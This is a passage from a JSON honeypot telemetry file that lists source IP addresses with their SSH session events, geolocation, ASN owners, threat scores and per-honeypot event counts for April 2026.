        "Honeytrap": 7,
        "Cowrie": 4,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "36.32.104.185": {
      "attack_count": 4,
      "first_seen": "2026-04-19T11:11:15.499Z",
      "last_seen": "2026-04-19T11:11:15.974Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T11:11:15.499000+00:00",
        "last_seen_30d": "2026-04-19T11:12:21.908000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "45.56.78.179": {
      "attack_count": 4,
      "first_seen": "2026-04-30T11:23:01.629Z",
      "last_seen": "2026-04-30T11:23:36.308Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:23:01.629000+00:00",
        "last_seen_30d": "2026-04-30T11:24:43.176000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "54.242.154.56": {
      "attack_count": 4,
      "first_seen": "2026-04-04T01:01:13.540Z",
      "last_seen": "2026-04-04T01:01:20.608Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:57:47.481000+00:00",
        "last_seen_30d": "2026-04-04T01:02:27.980000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Ciscoasa": 1
      }
    },
    "65.49.1.159": {
      "attack_count": 4,
      "first_seen": "2026-04-27T13:03:16.552Z",
      "last_seen": "2026-04-27T13:03:20.550Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 29,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:45:45.682000+00:00",
        "last_seen_30d": "2026-04-29T07:57:32.228000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "66.132.172.142": {
      "attack_count": 4,
      "first_seen": "2026-04-14T06:57:35.382Z",
      "last_seen": "2026-04-14T06:57:50.810Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T07:03:38+00:00",
        "last_seen_30d": "2026-04-30T18:49:52.535000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110,
        "Honeytrap": 39,
        "ElasticPot": 7,
        "Cowrie": 4,
        "CitrixHoneypot": 3,
        "Honeyaml": 3
      }
    },
    "91.231.89.72": {
      "attack_count": 4,
      "first_seen": "2026-04-11T00:03:33.701Z",
      "last_seen": "2026-04-11T00:04:00.207Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 30,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:19:07.268000+00:00",
        "last_seen_30d": "2026-04-30T21:40:50.728000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 168,
        "Honeytrap": 33,
        "Cowrie": 4
      }
    },
    "47.243.37.88": {
      "attack_count": 3,
      "first_seen": "2026-04-17T21:15:38.239Z",
      "last_seen": "2026-04-17T21:16:40.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:15:38.239000+00:00",
        "last_seen_30d": "2026-04-17T21:17:41.663000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "64.23.153.205": {
      "attack_count": 3,
      "first_seen": "2026-04-08T21:16:16.536Z",
      "last_seen": "2026-04-08T21:16:16.538Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 155258,
        "days_active_30d": 1,
        "ports_targeted_30d": 66815,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-08T21:11:41+00:00",
        "last_seen_30d": "2026-04-08T21:25:41.948000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132788,
        "Honeytrap": 22425,
        "Dionaea": 10,
        "ConPot": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "64.62.156.122": {
      "attack_count": 3,
      "first_seen": "2026-04-18T11:16:46.040Z",
      "last_seen": "2026-04-18T11:16:46.042Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 30,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:17:58+00:00",
        "last_seen_30d": "2026-04-30T11:56:31.204000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 210,
        "Honeytrap": 89,
        "Ciscoasa": 15,
        "ConPot": 6,
        "Tanner": 5,
        "Cowrie": 3,
        "Dionaea": 2
      }
    },
    "1.222.180.22": {
      "attack_count": 2,
      "first_seen": "2026-04-25T21:13:03.567Z",
      "last_seen": "2026-04-25T21:13:17.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 9569,
      "as_org": "SEOCHO CABLE SYSTEMS CO., LTD.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T21:13:03.567000+00:00",
        "last_seen_30d": "2026-04-25T21:14:24.489000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.188.95.24": {
      "attack_count": 2,
      "first_seen": "2026-04-30T06:03:32.128Z",
      "last_seen": "2026-04-30T06:03:45.089Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Aizawl",
      "asn": 141253,
      "as_org": "Hyosec Solutions Private Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:03:32.128000+00:00",
        "last_seen_30d": "2026-04-30T06:04:47.986000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.72.70.52": {
      "attack_count": 2,
      "first_seen": "2026-04-07T13:36:08.396Z",
      "last_seen": "2026-04-07T13:36:22.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gangtok",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:36:08.396000+00:00",
        "last_seen_30d": "2026-04-07T13:37:27.941000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.182.164.239": {
      "attack_count": 2,
      "first_seen": "2026-04-20T23:42:04.914Z",
      "last_seen": "2026-04-20T23:42:15.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T23:42:04.914000+00:00",
        "last_seen_30d": "2026-04-20T23:43:20.082000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "153.0.84.210": {
      "attack_count": 2,
      "first_seen": "2026-04-14T01:19:28.676Z",
      "last_seen": "2026-04-14T01:19:44.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T01:19:28.676000+00:00",
        "last_seen_30d": "2026-04-14T01:20:47.154000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "172.105.152.194": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:02:49.796Z",
      "last_seen": "2026-04-30T21:02:49.979Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-30T21:02:49+00:00",
        "last_seen_30d": "2026-04-30T21:03:58.063000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "186.55.151.193": {
      "attack_count": 2,
      "first_seen": "2026-04-24T18:46:10.019Z",
      "last_seen": "2026-04-24T18:48:10.027Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Minas",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T18:46:10.019000+00:00",
        "last_seen_30d": "2026-04-24T18:59:03.105000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.117": {
      "attack_count": 2,
      "first_seen": "2026-04-22T08:30:56.164Z",
      "last_seen": "2026-04-22T08:30:56.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:06:24+00:00",
        "last_seen_30d": "2026-04-30T16:44:53.540000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 25,
        "Cowrie": 2
      }
    },
    "198.235.24.105": {
      "attack_count": 2,
      "first_seen": "2026-04-09T17:23:42.111Z",
      "last_seen": "2026-04-09T17:24:14.119Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T00:06:01.115000+00:00",
        "last_seen_30d": "2026-04-29T20:31:25.054000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 18,
        "Mailoney": 5,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "198.235.24.196": {
      "attack_count": 2,
      "first_seen": "2026-04-18T01:28:50.315Z",
      "last_seen": "2026-04-18T01:29:00.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:43:41+00:00",
        "last_seen_30d": "2026-04-30T20:50:47.722000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 22,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "205.210.31.13": {
      "attack_count": 2,
      "first_seen": "2026-04-10T16:49:36.940Z",
      "last_seen": "2026-04-10T16:50:08.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T23:38:05.316000+00:00",
        "last_seen_30d": "2026-04-30T16:13:32.331000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 5,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "218.173.129.54": {
      "attack_count": 2,
      "first_seen": "2026-04-10T14:16:09.215Z",
      "last_seen": "2026-04-10T14:16:23.581Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:16:09.215000+00:00",
        "last_seen_30d": "2026-04-10T14:17:23.878000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.113.61.186": {
      "attack_count": 2,
      "first_seen": "2026-04-13T23:30:12.784Z",
      "last_seen": "2026-04-13T23:30:52.299Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Southall",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:30:12.784000+00:00",
        "last_seen_30d": "2026-04-13T23:31:59.031000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "31.56.209.33": {
      "attack_count": 2,
      "first_seen": "2026-04-15T20:46:57.717Z",
      "last_seen": "2026-04-15T20:47:27.849Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 209373,
      "as_org": "Swissnet LLC",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T19:50:35.271000+00:00",
        "last_seen_30d": "2026-04-29T19:16:20.825000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 2
      }
    },
    "35.146.38.191": {
      "attack_count": 2,
      "first_seen": "2026-04-30T06:46:04.779Z",
      "last_seen": "2026-04-30T06:46:17.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Austin",
      "asn": 11427,
      "as_org": "Charter Communications Inc",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:46:04.779000+00:00",
        "last_seen_30d": "2026-04-30T06:47:25.128000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.64.173.0": {
      "attack_count": 2,
      "first_seen": "2026-04-26T14:15:27.352Z",
      "last_seen": "2026-04-26T14:17:27.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valencia",
      "asn": 274331,
      "as_org": "AS274331",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T14:15:27.352000+00:00",
        "last_seen_30d": "2026-04-26T14:18:56.918000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "45.117.60.140": {
      "attack_count": 2,
      "first_seen": "2026-04-29T06:42:04.063Z",
      "last_seen": "2026-04-29T06:42:17.560Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 134186,
      "as_org": "Paradise Technologies Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:42:04.063000+00:00",
        "last_seen_30d": "2026-04-29T06:43:26.041000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.65.129.74": {
      "attack_count": 2,
      "first_seen": "2026-04-30T09:06:56.073Z",
      "last_seen": "2026-04-30T09:07:10.562Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Mateus",
      "asn": 266528,
      "as_org": "Master Telecomunicacoes LTDA ME",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T09:06:56.073000+00:00",
        "last_seen_30d": "2026-04-30T09:08:18.541000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.147": {
      "attack_count": 2,
      "first_seen": "2026-04-13T06:43:34.445Z",
      "last_seen": "2026-04-13T06:43:34.447Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 21,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
